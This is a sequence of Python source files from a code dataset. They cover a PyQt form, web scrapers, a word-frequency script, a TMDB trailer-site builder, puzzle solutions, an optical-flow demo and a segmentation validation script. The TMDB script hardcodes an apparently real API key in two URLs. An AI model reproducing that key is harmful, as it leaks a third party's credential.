self.obj_form.cbx_tipo_doc.currentText()\n obj_party_party.nro_doc = self.obj_form.lne_nro_doc .text()\n\n self.id_party = obj_party_party.guardar(obj_party_party)\n\n obj_e_party_address = E_party_address()\n obj_e_party_address.id_party = self.id_party\n obj_e_party_address.domicilio = self.obj_form.lne_domicilio.text()\n obj_e_party_address.nro = self.obj_form.lne_nro_domicilio.text()\n obj_e_party_address.piso = self.obj_form.lne_piso_domicilio.text()\n obj_e_party_address.dpto = self.obj_form.lne_depto.text()\n obj_e_party_address.bloque = self.obj_form.lne_bloque.text()\n obj_e_party_address.mzna = self.obj_form.lne_manzana.text()\n obj_e_party_address.cp = self.obj_form.lne_c_postal.text()\n obj_e_party_address.localidad = self.obj_form.lne_localidad.text()\n obj_e_party_address.provincia = self.obj_form.lne_provincia.text()\n obj_e_party_address.guardar(obj_e_party_address)\n\n\n obj_e_party_contact = E_party_contact()\n obj_e_party_contact.id_party = self.id_party\n obj_e_party_contact.tel_principal = self.obj_form.lne_tel_principal.text()\n obj_e_party_contact.tel_secundario = self.obj_form.lne_tel_otro.text()\n obj_e_party_contact.email = self.obj_form.lne_correo.text()\n obj_e_party_contact.guardar(obj_e_party_contact)\n\n obj_e_asociado= E_asociado()\n obj_e_asociado.id_party = self.id_party\n obj_e_asociado.nro_asociado = self.obj_form.lne_nro_asoc.text()\n obj_e_asociado.fecha_ingreso = self.obj_form.dte_ingreso.text()\n obj_e_asociado.nro_acta_ingreso = self.obj_form.lne_nro_acta_ca.text()\n obj_e_asociado.nro_foja = self.obj_form.lne_nro_foja.text()\n obj_e_asociado.estado = self.obj_form.cbx_estado.currentText()\n\n self.id_asoc = obj_e_asociado.guardar(obj_e_asociado)\n #pyqtRemoveInputHook()\n #import pdb; pdb.set_trace()\n self.obj_form.boton_guardar_cap_suscripto.setEnabled(True)\n self.obj_form.boton_guardar_cap_integracion.setEnabled(True)\n self.obj_form.boton_guardar_transferencia.setEnabled(True)\n self.obj_form.boton_guardar_suspenciones.setEnabled(True)\n self.obj_form.boton_guardar_renuncia.setEnabled(True)\n self.obj_form.boton_guardar_exclusion.setEnabled(True)\n self.obj_form.boton_guardar_capitalizacion.setEnabled(True)\n\n\n\n\n msgBox = QMessageBox()\n msgBox.setWindowTitle(\"OK\")\n msgBox.setText('Se creo correctamente el asociado: ' + self.obj_form.lne_nombre.text())\n msgBox.exec_()\n return False\n\n\n#app = QApplication(sys.argv)\n#dialogo= asociado_alta()\n#dialogo.show()\n#app.exec_()\n","repo_name":"lriccombene/sistemaCooperativas","sub_path":"Cooperativas/w_form_asociado_alta.py","file_name":"w_form_asociado_alta.py","file_ext":"py","file_size_in_byte":13791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5061233405","text":"#top 10 account in each social media\n\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\n\nwikiurl=\"https://en.wikipedia.org/wiki/List_of_most-subscribed_YouTube_channels\"\ntable_class=\"wikitable sortable jquery-tablesorter\"\nresponse=requests.get(wikiurl)\n\nsoup = BeautifulSoup(response.text, 'html.parser')\nindiatable=soup.find('table',{'class':\"wikitable\"})\n\ndf=pd.read_html(str(indiatable))\ndf=pd.DataFrame(df[0])\n\nwikiurl1=\"https://en.wikipedia.org/wiki/List_of_most-followed_Instagram_accounts#:~:text=Most-followed%20accounts%20%20%20%20Rank%20%20,%20%2073.9%20%2022%20more%20rows%20\"\ntable_class1=\"wikitable sortable jquery-tablesorter\"\nresponse1=requests.get(wikiurl1)\n\nsoup1 = BeautifulSoup(response1.text, 'html.parser')\nindiatable1=soup1.find('table',{'class':\"wikitable\"})\n\ndf1=pd.read_html(str(indiatable1))\ndf1=pd.DataFrame(df1[0])\n\nwikiurl2=\"https://en.wikipedia.org/wiki/List_of_most-followed_Facebook_pages#:~:text=Most-followed%20Facebook%20pages%20%20%20%20Rank%20,%20United%20Kingdom%20%2036%20more%20rows%20\"\ntable_class2=\"wikitable sortable jquery-tablesorter\"\nresponse2=requests.get(wikiurl2)\n\nsoup2 = BeautifulSoup(response2.text, 'html.parser')\nindiatable2=soup2.find('table',{'class':\"wikitable\"})\n\ndf2=pd.read_html(str(indiatable2))\ndf2=pd.DataFrame(df2[0])\n\nwikiurl3=\"https://en.wikipedia.org/wiki/List_of_most-followed_Twitter_accounts#:~:text=Most%20followed%20accounts%20on%20Twitter%20%20%20,%20%20113.6%20%2022%20more%20rows%20\"\ntable_class3=\"wikitable sortable jquery-tablesorter\"\nresponse3=requests.get(wikiurl3)\n\nsoup3 = BeautifulSoup(response3.text, 'html.parser')\nindiatable3=soup3.find('table',{'class':\"wikitable\"})\n\ndf3=pd.read_html(str(indiatable3))\ndf3=pd.DataFrame(df3[0])\n\nwikiurl4=\"https://en.wikipedia.org/wiki/List_of_most-followed_TikTok_accounts\"\ntable_class4=\"wikitable sortable jquery-tablesorter\"\nresponse4=requests.get(wikiurl4)\n\nsoup4 = BeautifulSoup(response4.text, 'html.parser')\nindiatable4=soup4.find('table',{'class':\"wikitable\"})\n\ndf4=pd.read_html(str(indiatable4))\ndf4=pd.DataFrame(df4[0])\n\nwikiurl5=\"https://en.wikipedia.org/wiki/List_of_most-followed_Twitch_channels\"\ntable_class5=\"wikitable sortable jquery-tablesorter\"\nresponse5=requests.get(wikiurl5)\n\nsoup5 = BeautifulSoup(response5.text, 'html.parser')\nindiatable5=soup5.find('table',{'class':\"wikitable\"})\n\ndf5=pd.read_html(str(indiatable5))\ndf5=pd.DataFrame(df5[0])\n\n\ndata = df[['Rank','Name']]\ndata1 = df1[['Owner']]\ndata2 = df2[['Page name']]\n#data3 = df3[['Account name']]\ndattt=df4.rename(columns={\"Owner\":\"sp\"})\ndata4 = dattt[['sp']]\n\ndata5 = df5[['Channel']]\nda=pd.concat([data,data1,data2,data4,data5],axis=1)\n\ndst=da.rename(columns={\"Name\":\"YouTube channels\",\"Owner\":\"Instagram accounts\",\"Page name\":\"Facebook pages\",\"Channel\":\"Twitch channels\",\"sp\":\"TikTok accounts\"})\n\nprint(dst.head(10))\n","repo_name":"shareefmx/Top-in-each-Social-Media","sub_path":"top10.py","file_name":"top10.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"72799195665","text":"# coding:utf-8\r\n# 分析2017年政府工作报告,从中提取出前20个高频词\r\nimport sys\r\nfrom bs4 import BeautifulSoup as BS\r\nimport html_utils\r\nimport cut_text_utils\r\n\r\n# 2017年政府工作报告全文URL\r\nREPORT_URL = 'http://www.gov.cn/premier/2017-03/16/content_5177940.htm'\r\n\r\n# 从2017年政府工作报告html页面内容中解析出正文\r\ndef parse_report_article(html):\r\n soup = BS(html,'html.parser')\r\n article = soup.find('div',attrs = {'id':'UCAP-CONTENT'})\r\n return article.text\r\n \r\n# 传入2017年政府工作报告全文的URL,解析出topn关键词及词频\r\ndef get_topn_words(url,topn):\r\n html = html_utils.get_html(url)\r\n article = parse_report_article(html)\r\n return cut_text_utils.get_topn_words(article,topn)\r\n \r\ndef main():\r\n # 设置字节流编码方式为utf-8\r\n reload(sys)\r\n sys.setdefaultencoding('utf-8')\r\n \r\n with open('out.tmp','w+') as fout:\r\n fout.write(str(get_topn_words(REPORT_URL,20)))\r\n \r\nif __name__ == '__main__':\r\n main()","repo_name":"dnxbjyj/py-project","sub_path":"GovWorkReportAnalysis/year2017_analysis.py","file_name":"year2017_analysis.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"zh","doc_type":"code","stars":104,"dataset":"github-code","pt":"48"} +{"seq_id":"21583931785","text":"# Import local modules\nimport media\nimport fresh_tomatoes\n# Import libraries\nimport webbrowser\nimport http.client\nimport requests\n\n# Define urls for themoviedb.org api discovery\napi_cred = \"?api_key=0ea0de5b42e92ce5329074cc3dbff432\"\n# url for current released movies\ndiscover_url = \"https://api.themoviedb.org/3/discover/movie?api_key=0ea0de5b42e92ce5329074cc3dbff432&language=en-US&sort_by=popularity.desc&include_adult=false&include_video=false&page=1&primary_release_year=2017\"\n\n# Query the api\nresponse = requests.get(discover_url)\ndata = response.json()\nmovies_db = data['results']\n\n# Define urls for additional api requests and posters/vidoes\nmovie_url = \"https://api.themoviedb.org/3/movie/\"\nyt_base_url=\"https://www.youtube.com/watch?v=\"\nimg_base_url=\"https://image.tmdb.org/t/p/original/\"\n\nall_movies = []\nmovie_counter = 0\nmax_movies = 12\nfor m_db in movies_db:\n # Limit the number of movie objects to create\n if movie_counter >= max_movies:\n break\n\n # Use main response for basic movie information\n print(m_db['original_title'])\n #print(m_db['overview'])\n\n # Get the poster url with an additional api request\n get_poster_url = movie_url+str(m_db['id'])+\"/images\"+api_cred\n poster_response = requests.get(get_poster_url)\n poster_data = poster_response.json()\n poster_url = img_base_url+poster_data['posters'][0]['file_path']\n #print(poster_url)\n\n # Get the video url with an additional api request\n get_trailer_url = movie_url+str(m_db['id'])+\"/videos\"+api_cred\n trailer_response = requests.get(get_trailer_url)\n trailer_data = trailer_response.json()\n trailer_url = yt_base_url+trailer_data['results'][0]['key']\n #print(trailer_url)\n\n all_movies.append(media.Movie(m_db['original_title'],m_db['overview'],poster_url,trailer_url))\n movie_counter+=1\n\n# Oen webpage\nfresh_tomatoes.open_movies_page(all_movies)","repo_name":"gilakos/fullstack-developer","sub_path":"Core_01/P1_MovieTrailerWebsite/launch_website.py","file_name":"launch_website.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31016887453","text":"def main():\r\n # Getting the Input of the User + number available's\r\n x = int(input(\"What's x? \"))\r\n # Printing Even or Odd \r\n if is_even(x):\r\n print(\"Even\")\r\n else:\r\n print(\"Odd\")\r\n \r\n\r\n\r\ndef is_even(n):\r\n # Creating Function to see if the input of the user is even or false\r\n if n % 2 == 0:\r\n return True\r\n else:\r\n return False \r\n\r\nmain()\r\n","repo_name":"Code1883/portfolio","sub_path":"parity.py","file_name":"parity.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74641642386","text":"import numpy as np\nimport cv2 as cv\nimport sys\nfrom z_PyStream import PyStreamRun\ntitleWindow = 'z_OpticalFlow_PS.py'\n\ndef set_ShowHSV(val):\n global show_hsv \n show_hsv = val \n print('HSV flow visualization is', ['off', 'on'][show_hsv == 0])\ndef set_ShowGlitch(val):\n global show_glitch \n show_glitch = val \n print('glitch is', ['off', 'on'][show_glitch])\ndef set_SpatialPropagation(val):\n global inst, use_spatial_propagation \n use_spatial_propagation = val\n inst.setUseSpatialPropagation(use_spatial_propagation == 1)\n print('spatial propagation is', ['off', 'on'][val])\ndef set_TemporalPropagation(val): # this doesn't do anything yet\n global use_temporal_propagation \n use_temporal_propagation = val \n print('temporal propagation is', ['off', 'on'][use_temporal_propagation])\n\n\ndef draw_flow(img, flow, step=16):\n height, width = flow.shape[:2]\n y, x = np.mgrid[step/2:height:step, step/2:width:step].reshape(2,-1).astype(int)\n fx, fy = flow[y,x].T\n lines = np.vstack([x, y, x+fx, y+fy]).T.reshape(-1, 2, 2)\n lines = np.int32(lines + 0.5)\n vis = cv.cvtColor(img, cv.COLOR_GRAY2BGR)\n cv.polylines(vis, lines, 0, (0, 255, 0))\n for (x1, y1), (x2, y2) in lines:\n cv.circle(vis, (x1, y1), 1, (0, 255, 0), -1)\n return vis\n\n\ndef draw_hsv(flow):\n height, width = flow.shape[:2]\n fx, fy = flow[:,:,0], flow[:,:,1]\n ang = np.arctan2(fy, fx) + np.pi\n v = np.sqrt(fx*fx+fy*fy)\n hsv = np.zeros((height, width, 3), np.uint8)\n hsv[...,0] = ang*(180/np.pi/2)\n hsv[...,1] = 255\n hsv[...,2] = np.minimum(v*4, 255)\n bgr = cv.cvtColor(hsv, cv.COLOR_HSV2BGR)\n return bgr\n\n\ndef warp_flow(img, flow):\n height, width = flow.shape[:2]\n flow = -flow\n flow[:,:,0] += np.arange(width)\n flow[:,:,1] += np.arange(height)[:,np.newaxis]\n res = cv.remap(img, flow, None, cv.INTER_LINEAR)\n return res\n\n\ndef OpenCVCode(imgRGB, depth32f, frameCount):\n global show_hsv, show_glitch, use_spatial_propagation, use_temporal_propagation, cur_glitch, prevgray, inst, flow, initialized \n if initialized == False:\n initialized = True\n prevgray = cv.cvtColor(imgRGB, cv.COLOR_BGR2GRAY)\n cur_glitch = imgRGB.copy()\n cv.namedWindow('flow', cv.WINDOW_AUTOSIZE)\n cv.createTrackbar('HSV Flow', 'flow', show_hsv, 1, set_ShowHSV)\n cv.createTrackbar('Glitch Window', 'flow', show_glitch, 1, set_ShowGlitch)\n cv.createTrackbar('Spatial Prop.', 'flow', use_spatial_propagation, 1, set_SpatialPropagation)\n cv.createTrackbar('Temporal Prop.', 'flow', use_temporal_propagation, 1, set_TemporalPropagation)\n\n gray = cv.cvtColor(imgRGB, cv.COLOR_BGR2GRAY)\n if flow is not None and use_temporal_propagation:\n #warp previous flow to get an initial approximation for the current flow:\n flow = inst.calc(prevgray, gray, warp_flow(flow,flow))\n else:\n flow = inst.calc(prevgray, gray, None)\n prevgray = gray\n\n flowRGB = draw_flow(gray, flow)\n cv.imshow('flow', flowRGB)\n if show_hsv:\n cv.imshow('flow HSV', draw_hsv(flow))\n if show_glitch:\n cur_glitch = warp_flow(cur_glitch, flow)\n cv.imshow('glitch', cur_glitch)\n return flowRGB, None\n\nif __name__ == '__main__':\n print(__doc__)\n initialized = False\n prevgray = None\n show_hsv = 0\n show_glitch = False\n use_spatial_propagation = False\n use_temporal_propagation = True\n cur_glitch = None\n inst = cv.DISOpticalFlow.create(cv.DISOPTICAL_FLOW_PRESET_MEDIUM)\n inst.setUseSpatialPropagation(use_spatial_propagation)\n flow = None\n\nPyStreamRun(OpenCVCode, titleWindow)\n\n","repo_name":"bobdavies2000/OpenCVB.old","sub_path":"VB_Classes/z_OpticalFlow_PS.py","file_name":"z_OpticalFlow_PS.py","file_ext":"py","file_size_in_byte":3638,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"48"} +{"seq_id":"17787642381","text":"'''\n给你一个整数数组 citations ,其中 citations[i] 表示研究者的第 i 篇论文被引用的次数。计算并返回该研究者的 h指数。\n\n根据维基百科上h 指数的定义:h 代表“高引用次数”,一名科研人员的 h指数是指他(她)的 (n 篇论文中)总共有 h 篇论文分别被引用了至少 h 次。\n且其余的 n - h篇论文每篇被引用次数不超过 h 次。\n\n如果 h 有多种可能的值,h 指数 是其中最大的那个。\n'''\nfrom typing import List\n\n\nclass Solution:\n def hIndex(self, citations: List[int]) -> int:\n citations.sort(reverse=True) # 将citations进行反向排序\n h = 0\n for i in range(1, len(citations) + 1):\n if citations[i-1] >= i: # 如果citations\n h += 1\n return h # [100]的情况\n\nif __name__ == '__main__':\n print(Solution().hIndex([3,0,6,1,5]))\n\n","repo_name":"Witness521/leetcode","sub_path":"HOT100/274 H指数.py","file_name":"274 H指数.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38278085083","text":"from collections import deque\nrow, column = map(int, input().split())\ncheeze = []\n\nfor _ in range(row):\n cheeze.append(list(map(int, input().split())))\n\ndef countCheeze():\n count = 0\n for i in range(row):\n for j in range(column):\n if cheeze[i][j] == 1:\n count += 1\n\n return count\n\ndef removeCheeze():\n directs = [[1, 0], [0, -1], [-1, 0], [0, 1]]\n visited = [[False for _ in range(column)] for _ in range(row)]\n queue = deque()\n queue.append([0, 0])\n visited[0][0] = True\n\n while queue:\n [x, y] = queue.popleft()\n\n for direct in directs:\n [dx, dy] = direct\n newX = dx + x\n newY = dy + y\n\n if 0 <= newX < row and 0 <= newY < column and not visited[newX][newY]:\n if cheeze[newX][newY] == 0:\n queue.append([newX, newY])\n else:\n cheeze[newX][newY] = 0\n visited[newX][newY] = True\n \ndef allCheeze():\n for i in range(row):\n for j in range(column):\n if cheeze[i][j] == 1:\n return False\n return True\n\ncheeze_count = 0\ntime = 0\n\nwhile True:\n if allCheeze():\n break\n \n cheeze_count = countCheeze()\n\n removeCheeze()\n\n time += 1\n\nprint(time)\nprint(cheeze_count)\n\n\n","repo_name":"Jeongeun-Choi/CodingTest","sub_path":"python_algorithm/BFS,DFS/BJ2636.py","file_name":"BJ2636.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40071518912","text":"from __future__ import unicode_literals\n\nimport frappe\nimport unittest\n\ntest_records = frappe.get_test_records('Loan Charges')\n\nclass TestLoanCharges(unittest.TestCase):\n\tdef setUp(self):\n\t\tself.create_loan_charges_type()\n\t\tself.submit_loan_charges()\n\n\tdef create_loan_charges_type(self):\n\t\tif not frappe.db.exists(\"Loan Charges Type\", \"_Life Insurance\"):\n\t\t\tfrappe.get_doc({\n\t\t\t\t'description': None,\n\t\t\t\t'doctype': 'Loan Charges Type',\n\t\t\t\t'loan_charges_name': \"_Life Insurance\",\n\t\t\t\t'repayment_frequency': 'Monthly',\n\t\t\t\t'repayment_periods': 1\n\t\t\t}).insert()\n\n\tdef submit_loan_charges(self):\n\t\tfor loan_charge in frappe.get_list(\"Loan Charges\", {\n\t\t\t\"docstatus\": 0\n\t\t}):\n\t\t\tdoc = frappe.get_doc(\"Loan Charges\", loan_charge.name)\n\t\t\t# doc.submit()\n\n\tdef test_status(self):\n\t\tstatus_list = [\n\t\t\t\"Pending\",\n\t\t\t\"Pending\",\n\t\t\t\"Overdue\",\n\t\t\t\"Overdue\",\n\t\t\t\"Paid\",\n\t\t\t\"Paid\",\n\t\t\t\"Partially\",\n\t\t\t\"Overdue\",\n\t\t]\n\n\t\tfor index, record in enumerate(test_records):\n\t\t\tdoc = frappe.copy_doc(record)\n\t\t\tdoc.insert()\n\n\t\t\tdoc.update_status()\n\t\t\tdoc.submit()\n\n\t\t\tself.assertEquals(status_list[index], doc.status)\n","repo_name":"YefriTavarez/fimax","sub_path":"fimax/loans/doctype/loan_charges/test_loan_charges.py","file_name":"test_loan_charges.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"32888968821","text":"import yaml\nimport torch\nimport argparse\nimport timeit\nimport time\nimport os\nimport numpy as np\nimport scipy.misc as misc\nimport matplotlib.pyplot as plt\n\nfrom torch.utils import data\nfrom torchstat import stat\nfrom pytorch_bn_fusion.bn_fusion import fuse_bn_recursively\n\nfrom ptsemseg.models import get_model\nfrom ptsemseg.loader import get_loader\nfrom ptsemseg.metrics import runningScore\nfrom ptsemseg.utils import convert_state_dict\n\nimport cv2\nfrom PIL import Image\n\ntorch.backends.cudnn.benchmark = True\n\n\ndef reset_batchnorm(m):\n if isinstance(m, torch.nn.BatchNorm2d):\n m.reset_running_stats()\n m.momentum = None\n#\n#\n# colors = [ # [ 0, 0, 0],\n# [128, 64, 128],\n# [244, 35, 232],\n# [70, 70, 70],\n# [102, 102, 156],\n# [190, 153, 153],\n# [153, 153, 153],\n# [250, 170, 30],\n# [220, 220, 0],\n# [107, 142, 35],\n# [152, 251, 152],\n# [0, 130, 180],\n# [220, 20, 60],\n# [255, 0, 0],\n# [0, 0, 142],\n# [0, 0, 70],\n# [0, 60, 100],\n# [0, 80, 100],\n# [0, 0, 230],\n# [119, 11, 32],\n# ]\n#\n# label_colours = dict(zip(range(19), colors))\n\n# colors = [ (170, 170, 170), # concrete normal 0\n# (213, 213, 213), # concrete icy 1\n# (100, 100, 100), # concrete wet 2\n# (0, 255, 0), # grass normal 3\n# (100, 255, 100), # grass icy 4\n# (47, 157, 39), # grass wet 5\n# (128, 64, 0), # gravel normal 6\n# (137, 137, 85), # gravel icy 7\n# (202, 202, 126), # gravel wet 8\n# (200, 150, 80), # dirt normal 9\n# (230, 180, 110), # dirt icy 10\n# (170, 120, 50), # dirt wet 11\n# (255, 255, 0), # puddle normal 12\n# (255, 255, 150), # puddle icy 13\n# (220, 220, 120), # puddle wet 14\n# (80, 200, 222), # block normal 15\n# (110, 255, 255), # 16\n# (40, 160, 190), # 17\n# (250, 100, 165), # asphalt normal 18\n# (255, 180, 220), # 19\n# (220, 60, 140), # 20\n# (200, 86, 20), # openfields normal # 21\n# (73, 73, 45), # 22\n# (80, 40, 15), # 23\n# (217, 229, 255), # snow # 24\n# (0, 120, 255), # sky 25\n# (0, 60, 0), # forest 26\n# (102, 102, 51), # mountain 27\n# (128, 64, 128), # artificial 28\n# (0, 0, 0), # void 29\n# (255, 94, 0), # soldier 30\n# (255, 187, 0), # tank 31\n# (167, 72, 255), # slope 32\n# (133, 196, 193), # person 33\n# (140, 140, 140)] # trash 34\n\ncolors = [(170, 170, 170), # concrete normal 0\n # (213, 213, 213), # concrete icy 1\n # (100, 100, 100), # concrete wet 2\n (0, 255, 0), # grass normal 3\n # (100, 255, 100), # grass icy 4\n # (47, 157, 39), # grass wet 5\n (128, 64, 0), # gravel normal 6\n # (137, 137, 85), # gravel icy 7\n # (202, 202, 126), # gravel wet 8\n #(200, 150, 80), # dirt normal 9\n # (230, 180, 110), # dirt icy 10\n # (170, 120, 50), # dirt wet 11\n #(255, 255, 0), # puddle normal 12\n # (255, 255, 150), # puddle icy 13\n # (220, 220, 120), # puddle wet 14\n #(80, 200, 222), # block normal 15\n # (110, 255, 255), # 16\n # (40, 160, 190), # 17\n #(250, 100, 165), # asphalt normal 18\n # (255, 180, 220), # 19\n # (220, 60, 140), # 20\n #(200, 86, 20), # openfields normal # 21\n # (73, 73, 45), # 22\n # (80, 40, 15), # 23\n #(217, 229, 255), # snow # 24\n (0, 120, 255), # sky 25\n (0, 60, 0), # forest 26\n #(102, 102, 51), # mountain 27\n (128, 64, 128), # artificial 28\n #(0, 0, 0), # void 29\n #(255, 94, 0), # soldier 30\n #(255, 187, 0), # tank 31\n #(167, 72, 255), # slope 32\n #(133, 196, 193), # person 33\n #(140, 140, 140)] # trash 34\n ]\n\n\nlabel_colours = dict(zip(range(len(colors)), colors))\nprint(label_colours)\n\ndef decode_segmap(temp):\n print('temp shape : {}'.format(temp.shape))\n r = temp.copy()\n g = temp.copy()\n b = temp.copy()\n\n #valid_classes = [0, 3, 6, 9, 12, 15, 18, 21, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35]\n #map_pred_to_val = dict(zip(range(len(valid_classes)), valid_classes))\n\n for l in range(0, 6):\n #l = map_pred_to_val[l]\n r[temp == l] = label_colours[l][0]\n g[temp == l] = label_colours[l][1]\n b[temp == l] = label_colours[l][2]\n\n # rgb = np.zeros((temp.shape[0], temp.shape[1], 3))\n # rgb[:, :, 0] = r / 255.0\n # rgb[:, :, 1] = g / 255.0\n # rgb[:, :, 2] = b / 255.0\n\n rgb = np.zeros((temp.shape[0], temp.shape[1], 3), dtype=np.uint8)\n rgb[:, :, 0] = r\n rgb[:, :, 1] = g\n rgb[:, :, 2] = b\n\n return rgb\n\n\ndef get_transformed_img(img_path,img_size):\n img = Image.open(img_path)\n img = np.array(img, dtype=np.uint8)\n\n #img_size = (1024, 2048)\n #img_size = (1080,1920)\n #img_size=(360,360)\n #img_size = (480, 640)\n img = np.array(Image.fromarray(img).resize(\n (img_size[1], img_size[0]))) # uint8 with RGB mode\n img = img[:, :, ::-1] # RGB -> BGR\n img = img.astype(np.float64)\n\n value_scale = 255\n mean = [0.406, 0.456, 0.485]\n mean = [item * value_scale for item in mean]\n std = [0.225, 0.224, 0.229]\n std = [item * value_scale for item in std]\n\n img_norm = True\n if img_norm:\n img = (img - mean) / std\n\n # NHWC -> NCHW\n img = img.transpose(2, 0, 1)\n\n # expand batch (jh)\n img = np.expand_dims(img, axis=0)\n\n img = torch.from_numpy(img).float().to(torch.device('cuda'))\n return img\n\n\ndef validate_single(cfg, args):\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n # Setup Dataloader\n data_loader = get_loader(cfg[\"data\"][\"dataset\"])\n data_path = cfg[\"data\"][\"path\"]\n\n # loader = data_loader(\n # data_path,\n # split=cfg[\"data\"][\"val_split\"],\n # is_transform=True,\n # img_size=(1024, 2048),\n # )\n\n n_classes = 6\n\n # valloader = data.DataLoader(loader, batch_size=1, num_workers=1)\n running_metrics = runningScore(n_classes)\n\n # Setup Model\n\n model = get_model(cfg[\"model\"], n_classes).to(device)\n\n state = convert_state_dict(torch.load(args.model_path)[\"model_state\"])\n model.load_state_dict(state)\n\n if args.bn_fusion:\n model = fuse_bn_recursively(model)\n print(model)\n\n if args.update_bn:\n print(\"Reset BatchNorm and recalculate mean/var\")\n model.apply(reset_batchnorm)\n model.train()\n else:\n model.eval()\n model.to(device)\n total_time = 0\n\n total_params = sum(p.numel() for p in model.parameters())\n print('Parameters: ', total_params)\n\n # stat(model, (3, 1024, 2048))\n torch.backends.cudnn.benchmark = True\n\n #target_dir = '/workspace/raid/driving/Data/CITYSCAPES/leftImg8bit/val/frankfurt'\n #target_dir = '/workspace/raid/driving/Data/segmentation_changwon/640_480/img/'\n #target_dir = '/workspace/raid/driving/Data/segmentation_changwon/'+cfg['data']['val_split']+'/img/'\n target_dir = '/workspace/raid/driving/Data/segmentation_changwon/640_480/img'\n target_dir = os.path.join(cfg['data']['path'],cfg['data']['val_split'],'img')\n img_size = (cfg[\"data\"][\"img_rows\"], cfg[\"data\"][\"img_cols\"])\n for target_img_path in os.listdir(target_dir):\n org_image = cv2.imread(os.path.join(target_dir, target_img_path))\n org_image = np.array(Image.fromarray(org_image).resize(\n (img_size[1], img_size[0]))) # uint8 with RGB mode\n\n # image = np.expand_dims(org_image, axis=0)\n # image = torch.from_numpy(image).float().to(device)\n # image = image.permute(0, 3, 1, 2)\n\n image = get_transformed_img(os.path.join(target_dir, target_img_path),img_size)\n\n\n with torch.no_grad():\n outputs = model(image)\n outputs = outputs.permute(0, 2, 3, 1)\n # pred = np.squeeze(outputs.data.max(1)[1].cpu().numpy(), axis=0)\n pred = np.squeeze(outputs.data.max(3)[1].cpu().numpy(), axis=0)\n\n decoded = decode_segmap(pred)\n # img_input = np.squeeze(images.cpu().numpy(), axis=0)\n # img_input = img_input.transpose(1, 2, 0)\n # blend = img_input * 0.2 + decoded * 0.8\n print(org_image.shape, decoded.shape)\n blend = cv2.addWeighted(org_image, 0.8, decoded, 0.2, 0)\n\n decoded = decoded[:, :, ::-1] # RGB -> BGR\n '''\n fig = plt.figure(figsize=(10,10))\n rows = 1; cols = 3; img=[decoded,org_image,blend]\n xlabels = [\" \", \"predicted\",\"org\", \"blend\"]\n for i in range(1,4):\n ax = fig.add_subplot(rows,cols,i)\n ax.imshow(cv2.cvtColor(img[i-1],cv2.COLOR_BGR2RGB))\n ax.set_xlabel(xlabels[i])\n ax.set_xticks([]), ax.set_yticks([])\n plt.show()\n '''\n\n cv2.imshow('predicted', decoded)\n cv2.imshow('org', org_image)\n cv2.imshow('blend', blend)\n #\n cv2.waitKey(0)\n\n # cv2.imwrite(os.path.join('output_200113', target_img_path[:-4]+\"_pred.png\"), decoded)\n # cv2.imwrite(os.path.join('output_200113', target_img_path[:-4] + \"_org.png\"), org_image)\n # cv2.imwrite(os.path.join('output_200113', target_img_path[:-4] + \"_blend.png\"), blend)\n\n\ndef validate(cfg, args):\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n # Setup Dataloader\n data_loader = get_loader(cfg[\"data\"][\"dataset\"])\n data_path = cfg[\"data\"][\"path\"]\n img_size = (cfg[\"data\"][\"img_rows\"],cfg[\"data\"][\"img_cols\"])\n loader = data_loader(\n data_path,\n split=cfg[\"data\"][\"val_split\"],\n is_transform=True,\n img_size=img_size,\n )\n\n n_classes = loader.n_classes\n valloader = data.DataLoader(loader, batch_size=1, num_workers=1)\n running_metrics = runningScore(n_classes)\n\n # Setup Model\n\n model = get_model(cfg[\"model\"], n_classes).to(device)\n state = convert_state_dict(torch.load(args.model_path)[\"model_state\"])\n model.load_state_dict(state)\n\n if args.bn_fusion:\n model = fuse_bn_recursively(model)\n print(model)\n\n if args.update_bn:\n print(\"Reset BatchNorm and recalculate mean/var\")\n model.apply(reset_batchnorm)\n model.train()\n else:\n model.eval()\n model.to(device)\n total_time = 0\n\n total_params = sum(p.numel() for p in model.parameters())\n print('Parameters: ', total_params)\n\n # stat(model, (3, 1024, 2048))\n torch.backends.cudnn.benchmark = True\n\n for i, (images, labels, fname) in enumerate(valloader).sort(reverse=True):\n start_time = timeit.default_timer()\n\n images = images.to(device)\n\n if i == 0:\n with torch.no_grad():\n outputs = model(images)\n\n if args.eval_flip:\n outputs = model(images)\n\n # Flip images in numpy (not support in tensor)\n outputs = outputs.data.cpu().numpy()\n flipped_images = np.copy(images.data.cpu().numpy()[:, :, :, ::-1])\n flipped_images = torch.from_numpy(flipped_images).float().to(device)\n outputs_flipped = model(flipped_images)\n outputs_flipped = outputs_flipped.data.cpu().numpy()\n outputs = (outputs + outputs_flipped[:, :, :, ::-1]) / 2.0\n\n pred = np.argmax(outputs, axis=1)\n else:\n torch.cuda.synchronize()\n start_time = time.perf_counter()\n\n with torch.no_grad():\n outputs = model(images)\n\n torch.cuda.synchronize()\n elapsed_time = time.perf_counter() - start_time\n\n if args.save_image:\n pred = np.squeeze(outputs.data.max(1)[1].cpu().numpy(), axis=0)\n save_rgb = True\n\n decoded = loader.decode_segmap_id(pred)\n dir = \"./out_predID/\"\n if not os.path.exists(dir):\n os.mkdir(dir)\n misc.imsave(dir + fname[0], decoded)\n\n if save_rgb:\n decoded = 